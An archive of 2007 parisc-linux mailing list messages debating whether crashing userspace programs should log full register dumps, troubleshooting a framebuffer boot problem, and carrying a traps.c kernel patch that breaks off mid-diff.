X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2007 18:49:15 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx027) with SMTP; 15 Jul 2007 20:49:15 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6FInDrh011477;
	Sun, 15 Jul 2007 14:49:13 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6FInDB4011476;
	Sun, 15 Jul 2007 14:49:13 -0400 (EDT)
In-Reply-To: <200707151935.27525.deller@gmx.de> from "Helge Deller" at Jul 15, 2007 07:35:27 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fxj/NpoNZCEWb7GPamwhq7BwIGhpZcZN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24722

> On Sunday 15 July 2007, Randolph Chung wrote:
> > In reference to a message from Helge Deller, dated Jul 15:
> > > Clean up syslog output of crashing userspace apps.
> > > With this patch the syslog will print:
> > >   portmap(1480): invalid access to 0x8232b578 at ip=0x41192af3 (segfault code 15)
> > > which is consistent with outher output like:
> > >   hald-probe-stor(1672): unaligned access to 0xfafcbd26 at ip=0x00014013
> > 
> > The verbose dump we have now is actually quite useful for debugging.
> > Whereas unaligned accesses are usually very straightforward to debug
> > once you know where they are coming from (thus only need ip), segfaults
> > are not always that way. The full register dump comes in handy...
> 
> I do not disagree, that dumps are useful in general.
> Nevertheless, is this specific dump really that useful ?
> Can you really fix bugs with the dump without use of gdb ?
> On i386 userspace crashes aren't even shown in the syslog.

I find the dumps useful.  While in most cases gdb is necessary
to fix bugs, it's not 100 % reliable when used to examine core
dumps (sorry Randolph).  The getdents bug that I tracked down
a few weeks ago was a case in point.

They are a double edge sword.  Recently, gcc was generating so
many faults that the log file system was filling up.  So, it
would be nice to be able to switch them on/off.

Hey, i386 hardly has any registers worth showing ;)

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Sun, 15 Jul 2007 18:55:11 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20070715185511.GB9938__8172.72640201754$1416624415$gmane$org@tausq.org>
References: <200707151935.27525.deller@gmx.de> <200707151849.l6FInDB4011476@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624415 24751 80.91.229.3 (22 Nov 2014 02:46:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:55 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <randolph@tausq.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jul 2007 18:55:14 -0000
Original-Received: from gandalf.tausq.org (EHLO arwen.tausq.org) [64.81.244.94]
  by mx0.gmx.net (mx061) with SMTP; 15 Jul 2007 20:55:14 +0200
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id AFC0A43879; Sun, 15 Jul 2007 11:55:12 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200707151849.l6FInDB4011476@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9wT/B5gYfW4pfuWveGVoWbZmdmllcsVX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24723

> I find the dumps useful.  While in most cases gdb is necessary
> to fix bugs, it's not 100 % reliable when used to examine core
> dumps (sorry Randolph).  The getdents bug that I tracked down
> a few weeks ago was a case in point.

I agree the dumps are a useful tool in addition to gdb; but I would like
to know more what is not reliable with gdb core dump debugging. I
actually find that gdb's core dump debugging is often times more
reliable than using gdb to debug running programs.

The biggest problem I've had with gdb is with debugging threaded apps.
gdb is still quite buggy for multithread debugging :(

randolph



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Tue, 17 Jul 2007 23:03:06 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <200707172303.06515.deller__46177.9104815379$1416624415$gmane$org@gmx.de>
References: <8C996C28EAB2003-444-120B@WEBMAIL-MA12.sysops.aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624415 24752 80.91.229.3 (22 Nov 2014 02:46:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kurtm22@netscape.net
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jul 2007 21:09:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 17 Jul 2007 23:09:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECC0A7DD2F;
	Tue, 17 Jul 2007 15:03:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00729-07; Tue, 17 Jul 2007 15:03:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4BC97DD31;
	Tue, 17 Jul 2007 15:03:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 601F87DD25
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jul 2007 15:03:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00714-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jul 2007 15:03:26 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 249FD7DD1E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jul 2007 15:03:25 -0600 (MDT)
Original-Received: (qmail invoked by alias); 17 Jul 2007 21:03:24 -0000
Original-Received: from mnhm-590c1c92.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.28.146]
	by mail.gmx.net (mp053) with SMTP; 17 Jul 2007 23:03:24 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <8C996C28EAB2003-444-120B@WEBMAIL-MA12.sysops.aol.com>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lV70KYs8MydzT4igZWplaNlraGRhZhoA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24724

Hi Kurt,
CC: parisc-kernel development list

On Tuesday 17 July 2007, kurtm22@netscape.net wrote:
> You seem to be the maintainer for the stifb.c code for the Debian port
> to hppa. I have a 735/125 w/ 520MB mem and A1439A graphics.

The A1439A seems to be a "CRX24 = CRX+ (24-plane color)" graphics card acording to include/asm/grfioctl.h linux kernel header source file.

> I have been unable to boot the 2.6.18-4-parisc and 2.6.8-4-32 kernels.
> Before the system panics, 

Your problem looks similiar to this thread:
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/024834.html
(or search for CRX on: http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/thread.html#24834)
What's the panic message / register dump ?

> there appears to be a line that says "switching to  
> STI color mode (I think).? 

What does it say exactly ?
There are two different strings which can be printed:
a) Console: switching to colour STI console 128x48
b) Console: switching to colour frame buffer device 128x48

The first (a) means it switches to text-only console (sticon), the second (b) is printed if the kernel switches to framebuffer mode (stifb).
Only the second one provides /dev/fb0 support and will allow you to use the X server.

> So what I am thinking is that there is something 
> up with accessing the hardware through the framebuffer.? 

Yes, might be.
You might want to try a more recent kernel (e.g. build yourself the original 2.6.22 kernel from kernel.org sources, it should build cleanly on hppa and no additional patches are needed).
Looking at the sources, it might be that the fb_memset() call in the function rattlerSetupPlanes()  [file: drivers/video/stifb.c] is wrong.
I sadly don't have the hardware to test, but if you compile a kernel, try to just delete this fb_memset() call. At least maybe it then maybe doesn't panic any more?

Sadly I don't have such a card myself to test.
Anyone wants to send me one ? :-)

> The system has been dist-upgraded to etch from sarge which
> may be why I can boot the 2.4.17-32 kernel but I cannot get X to start:
> -------------------------------------
> X Window System Version 7.1.1
> Release Date: 12 May 2006
> X Protocol Version 11, Revision 0, Release 7.1.1
> Build Operating System: UNKNOWN
> Current Operating System: Linux boss-429 2.4.17-32 #1 Sat Mar 16 17:09:00 MST 2002 parisc
> Build Date: 03 April 2007
> ??????? Before reporting problems, check http://wiki.x.org
> ??????? to make sure that you have the latest version.
> Module Loader present
> Markers: (--) probed, (**) from config file, (==) default setting,
> ??????? (++) from command line, (!!) notice, (II) informational,
> ??????? (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
> (==) Log file: "/var/log/Xorg.0.log", Time: Tue Jul 17 15:44:00 2007
> (==) Using config file: "/etc/X11/xorg.conf"
> (EE) open /dev/fb0: No such device
> (EE) No devices detected.

Read above.
Probably sticon (which does not provide graphics mode) is active.

> This is what the device file looks like:
> /dev/fb0 = crw-rw---- 1 root video 29, 0 Oct? 3? 1999 /dev/fb0

That's ok.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] [PARISC] Clean up syslog output of
Date: Fri, 20 Jul 2007 23:40:39 +0200
Lines: 375
Approved: news@gmane.org
Message-ID: <200707202340.39353.deller__36976.7388249331$1416624415$gmane$org@gmx.de>
References: <200707151935.27525.deller@gmx.de>
	<200707151849.l6FInDB4011476@hiauly1.hia.nrc.ca>
	<20070715185511.GB9938@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624415 24754 80.91.229.3 (22 Nov 2014 02:46:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:55 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2007 21:41:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 20 Jul 2007 23:41:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C59897DC28;
	Fri, 20 Jul 2007 15:40:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04491-08; Fri, 20 Jul 2007 15:40:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E40C97DC18;
	Fri, 20 Jul 2007 15:40:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C26397DC01
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Jul 2007 15:40:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04491-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Jul 2007 15:40:47 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 364977DBF0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Jul 2007 15:40:47 -0600 (MDT)
Original-Received: (qmail invoked by alias); 20 Jul 2007 21:40:43 -0000
Original-Received: from mnhm-590c3932.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.57.50]
	by mail.gmx.net (mp003) with SMTP; 20 Jul 2007 23:40:43 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <20070715185511.GB9938@tausq.org>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3h2Ud4d2bUkpPenGPWgnewJkZ2hlNwqo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24725

On Sunday 15 July 2007, Randolph Chung wrote:
> > I find the dumps useful.  While in most cases gdb is necessary
> > to fix bugs, it's not 100 % reliable when used to examine core
> > dumps (sorry Randolph).  The getdents bug that I tracked down
> > a few weeks ago was a case in point.
> 
> I agree the dumps are a useful tool in addition to gdb; [....]

Ok, here is an updated patch.
As requested by you I kept the register dump and in addition added full 
string table of the interrupts/traps.

New example:
a.out(1876): Data TLB miss fault/Data page fault (trap #15) for addr 0x0000aabb at ip=0x000105c4
<here comes the full register dump>

Please test.

Helge
______________________
Changes:
- some minor code path cleanups (const strings, drop unneeded return values)
- converted all traps to the form <application>(<pid>): <type_of_crash> (<crash_id>) ...
- use instruction_pointer() macro instead of "regs->iaoq[0] & ~3" 
- mark parisc_terminate() with __noreturn
- added interruption/trap description table

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index bbf029a..0f71d23 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -51,7 +51,7 @@
 DEFINE_SPINLOCK(pa_dbit_lock);
 #endif
 
-static int printbinary(char *buf, unsigned long x, int nbits)
+static void printbinary(char *buf, unsigned long x, int nbits)
 {
 	unsigned long mask = 1UL << (nbits - 1);
 	while (mask != 0) {
@@ -59,8 +59,6 @@ static int printbinary(char *buf, unsigned long x, int nbits)
 		mask >>= 1;
 	}
 	*buf = '\0';
-
-	return nbits;
 }
 
 #ifdef CONFIG_64BIT
@@ -75,7 +73,7 @@ static int printbinary(char *buf, unsigned long x, int nbits)
 		lvl, f, (x), (x+3), (r)[(x)+0], (r)[(x)+1],		\
 		(r)[(x)+2], (r)[(x)+3])
 
-static void print_gr(char *level, struct pt_regs *regs)
+static void print_gr(const char *level, struct pt_regs *regs)
 {
 	int i;
 	char buf[64];
@@ -89,7 +87,7 @@ static void print_gr(char *level, struct pt_regs *regs)
 		PRINTREGS(level, regs->gr, "r", RFMT, i);
 }
 
-static void print_fr(char *level, struct pt_regs *regs)
+static void print_fr(const char *level, struct pt_regs *regs)
 {
 	int i;
 	char buf[64];
@@ -119,7 +117,7 @@ static void print_fr(char *level, struct pt_regs *regs)
 void show_regs(struct pt_regs *regs)
 {
 	int i;
-	char *level;
+	const char *level;
 	unsigned long cr30, cr31;
 
 	level = user_mode(regs) ? KERN_DEBUG : KERN_CRIT;
@@ -212,16 +210,16 @@ int is_valid_bugaddr(unsigned long iaoq)
 	return 1;
 }
 
-void die_if_kernel(char *str, struct pt_regs *regs, long err)
+void die_if_kernel(const char *str, struct pt_regs *regs, long err)
 {
 	if (user_mode(regs)) {
 		if (err == 0)
 			return; /* STFU */
 
-		printk(KERN_CRIT "%s (pid %d): %s (code %ld) at " RFMT "\n",
-			current->comm, current->pid, str, err, regs->iaoq[0]);
 #ifdef PRINT_USER_FAULTS
-		/* XXX for debugging only */
+		printk(KERN_CRIT "%s(%d): %s (code %ld) at " RFMT "\n",
+			current->comm, current->pid, str, err, 
+			instruction_pointer(regs));
 		show_regs(regs);
 #endif
 		return;
@@ -251,7 +249,7 @@ KERN_CRIT "                     ||     ||\n");
 		pdc_console_restart();
 	
 	if (err)
-		printk(KERN_CRIT "%s (pid %d): %s (code %ld)\n",
+		printk(KERN_CRIT "%s(%d): %s (code %ld)\n",
 			current->comm, current->pid, str, err);
 
 	/* Wot's wrong wif bein' racy? */
@@ -292,7 +290,7 @@ static void handle_gdb_break(struct pt_regs *regs, int wot)
 	si.si_signo = SIGTRAP;
 	si.si_errno = 0;
 	si.si_code = wot;
-	si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
+	si.si_addr = (void __user *) instruction_pointer(regs);
 	force_sig_info(SIGTRAP, &si, current);
 }
 
@@ -303,7 +301,7 @@ static void handle_break(struct pt_regs *regs)
 	if (unlikely(iir == PARISC_BUG_BREAK_INSN && !user_mode(regs))) {
 		/* check if a BUG() or WARN() trapped here.  */
 		enum bug_trap_type tt;
-		tt = report_bug(regs->iaoq[0] & ~3, regs);
+		tt = report_bug(instruction_pointer(regs), regs);
 		if (tt == BUG_TRAP_TYPE_WARN) {
 			regs->iaoq[0] += 4;
 			regs->iaoq[1] += 4;
@@ -315,9 +313,9 @@ static void handle_break(struct pt_regs *regs)
 
 #ifdef PRINT_USER_FAULTS
 	if (unlikely(iir != GDB_BREAK_INSN)) {
-		printk(KERN_DEBUG "break %d,%d: pid=%d command='%s'\n",
-			iir & 31, (iir>>13) & ((1<<13)-1),
-			current->pid, current->comm);
+		printk(KERN_DEBUG "%s(%d): break %d,%d\n",
+			current->comm, current->pid,
+			iir & 31, (iir>>13) & ((1<<13)-1));
 		show_regs(regs);
 	}
 #endif
@@ -415,9 +413,11 @@ void transfer_pim_to_trap_frame(struct pt_regs *regs)
  * has gone clearly wrong. We get called for faults in kernel space,
  * and HPMC's.
  */
-void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long offset)
+void __noreturn parisc_terminate(const char *msg, struct pt_regs *regs,
+				 unsigned long code, unsigned long offset)
 {
 	static DEFINE_SPINLOCK(terminate_lock);
+	struct unwind_frame_info info;
 
 	oops_in_progress = 1;
 
@@ -433,27 +433,15 @@ void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long o
 		pdc_console_restart();
 
 	/* Not all paths will gutter the processor... */
-	switch(code){
-
-	case 1:
+	if (code == 1)
 		transfer_pim_to_trap_frame(regs);
-		break;
-
-	default:
-		/* Fall through */
-		break;
-
-	}
 	    
-	{
-		/* show_stack(NULL, (unsigned long *)regs->gr[30]); */
-		struct unwind_frame_info info;
-		unwind_frame_init(&info, current, regs);
-		do_show_stack(&info);
-	}
+	/* show_stack(NULL, (unsigned long *)regs->gr[30]); */
+	unwind_frame_init(&info, current, regs);
+	do_show_stack(&info);
 
 	printk("\n");
-	printk(KERN_CRIT "%s: Code=%d regs=%p (Addr=" RFMT ")\n",
+	printk(KERN_CRIT "%s: trap=%ld regs=%p (Addr=" RFMT ")\n",
 			msg, code, regs, offset);
 	show_regs(regs);
 
@@ -476,7 +464,46 @@ void parisc_terminate(char *msg, struct pt_regs *regs, int code, unsigned long o
 	panic(msg);
 }
 
-void handle_interruption(int code, struct pt_regs *regs)
+static const char * const interruption_txt[] = {
+	[1] = "High-priority machine check (HPMC)",
+	[2] = "Power failure interrupt",
+	[3] = "Recovery counter trap",
+	[4] = "External interrupt trap",
+	[5] = "Low-priority machine check",
+	[6] = "Instruction TLB miss fault/Instruction page fault",
+	[7] = "Instruction memory protection trap",
+	[8] = "Illegal instruction trap",
+	[9] = "Break instruction trap",
+	[10] = "Privileged operation trap",
+	[11] = "Privileged register trap",
+	[12] = "Overflow trap",
+	[13] = "Conditional trap",
+	[14] = "Assist exception trap",
+	[15] = "Data TLB miss fault/Data page fault",
+	[16] = "Non-access instruction TLB miss fault",
+	[17] = "Non-access data TLB miss fault/Non-access data page fault",
+	[18] = "Unaligned access trap",
+	[19] = "Data memory break trap",
+	[21] = "Page reference trap",
+	[25] = "Taken branch trap",
+	[26] = "Data memory access rights trap",
+	[27] = "Data memory protection ID trap",
+	[28] = "Unaligned data reference trap",
+	[29] = "Performance monitor interrupt",
+	[30] = "Instruction debug trap",
+};
+
+const char * interruption_descr(unsigned long code)
+{
+	if (code >= ARRAY_SIZE(interruption_txt) ||
+		!interruption_txt[code] )
+		return "Unknown interruption trap"; 
+	else
+		return interruption_txt[code];
+}
+
+
+void handle_interruption(unsigned int code, struct pt_regs *regs)
 {
 	unsigned long fault_address = 0;
 	unsigned long fault_space = 0;
@@ -529,13 +556,13 @@ void handle_interruption(int code, struct pt_regs *regs)
 		/* set up a new led state on systems shipped with a LED State panel */
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_HPMC);
 		    
-	    	parisc_terminate("High Priority Machine Check (HPMC)",
-				regs, code, 0);
+	    	parisc_terminate(interruption_txt[1], regs, code, 0);
 		/* NOT REACHED */
 		
 	case  2:
 		/* Power failure interrupt */
-		printk(KERN_CRIT "Power failure interrupt !\n");
+		printk(KERN_CRIT "%s\n", interruption_txt[2]);
+		kill_cad_pid(SIGPWR, 1);
 		return;
 
 	case  3:
@@ -563,7 +590,7 @@ void handle_interruption(int code, struct pt_regs *regs)
 
 	case  8:
 		/* Illegal instruction trap */
-		die_if_kernel("Illegal instruction", regs, code);
+		die_if_kernel(interruption_txt[8], regs, code);
 		si.si_code = ILL_ILLOPC;
 		goto give_sigill;
 
@@ -574,7 +601,7 @@ void handle_interruption(int code, struct pt_regs *regs)
 	
 	case 10:
 		/* Privileged operation trap */
-		die_if_kernel("Privileged operation", regs, code);
+		die_if_kernel(interruption_txt[10], regs, code);
 		si.si_code = ILL_PRVOPC;
 		goto give_sigill;
 	
@@ -597,7 +624,7 @@ void handle_interruption(int code, struct pt_regs *regs)
 			return;
 		}
 
-		die_if_kernel("Privileged register usage", regs, code);
+		die_if_kernel(interruption_txt[11], regs, code);
 		si.si_code = ILL_PRVREG;
 	give_sigill:
 		si.si_signo = SIGILL;
@@ -632,7 +659,7 @@ void handle_interruption(int code, struct pt_regs *regs)
 		
 	case 14:
 		/* Assist Exception Trap, i.e. floating point exception. */
-		die_if_kernel("Floating point exception", regs, 0); /* quiet */
+		die_if_kernel(interruption_txt[14], regs, 0); /* quiet */
 		handle_fpe(regs);
 		return;
 		
@@ -727,7 +754,7 @@ void handle_interruption(int code, struct pt_regs *regs)
 		/* Fall Through */
 	case 27: 
 		/* Data memory protection ID trap */
-		die_if_kernel("Protection id trap", regs, code);
+		die_if_kernel(interruption_descr(code), regs, code);
 		si.si_code = SEGV_MAPERR;
 		si.si_signo = SIGSEGV;
 		si.si_errno = 0;
@@ -746,8 +773,8 @@ void handle_interruption(int code, struct pt_regs *regs)
 	default:
 		if (user_mode(regs)) {
 #ifdef PRINT_USER_FAULTS
-			printk(KERN_DEBUG "\nhandle_interruption() pid=%d command='%s'\n",
-			    current->pid, current->comm);
+			printk(KERN_DEBUG "%s(%d): unknown trap %d in handle_interruption().\n",
+			    current->comm, current->pid, code);
 			show_regs(regs);
 #endif
 			/* SIGBUS, for lack of a better one. */
@@ -767,12 +794,12 @@ void handle_interruption(int code, struct pt_regs *regs)
 	if (user_mode(regs)) {
 	    if ((fault_space >> SPACEID_SHIFT) != (regs->sr[7] >> SPACEID_SHIFT)) {
 #ifdef PRINT_USER_FAULTS
+		printk(KERN_DEBUG "%s(%d): ", current->comm, current->pid);
 		if (fault_space == 0)
-			printk(KERN_DEBUG "User Fault on Kernel Space ");
+			printk("User Fault on Kernel Space\n");
 		else
-			printk(KERN_DEBUG "User Fault (long pointer) (fault %d) ",
